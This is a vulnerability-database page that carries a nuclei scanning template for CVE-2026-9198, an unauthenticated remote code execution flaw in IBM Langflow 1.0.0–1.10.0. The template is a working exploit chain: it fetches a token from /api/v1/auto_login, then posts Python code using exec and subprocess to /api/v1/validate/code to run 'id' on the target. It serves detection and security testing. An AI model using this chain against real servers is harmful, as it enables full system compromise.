Lucene search
+L

IBM Langflow - Remote Code Execution

🗓️ 28 Jul 2026 05:42:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

IBM Langflow allows unauthenticated remote code execution by chaining auto_login and validate code; affected versions 1.0.0–1.10.0.

Related
Refs
Code
id: CVE-2026-9198

info:
  name: IBM Langflow - Remote Code Execution
  author: YesWeHack
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 1.10.0.
  reference:
    - https://www.ibm.com/support/pages/node/7278927
    - https://github.com/ywh-jfellus/CVE-2026-9198
    - https://github.com/0xdak/CVE-2026-9198_exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9198
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ibm
    product: langflow
    fofa-query: title="Langflow" || body="langflow"
  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/auto_login"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "access_token", "refresh_token")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        json:
          - ".access_token"
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402206f142ab6e33efe34d1ae107015ab3fce990d4e05fb07180c7a602553162f565d0220288f077ecaad0b869d912f0a63f9db23171b77c45195b829be195207a091f4f8:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2026 10:06Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.19.8
EPSS0.00443
SSVC
2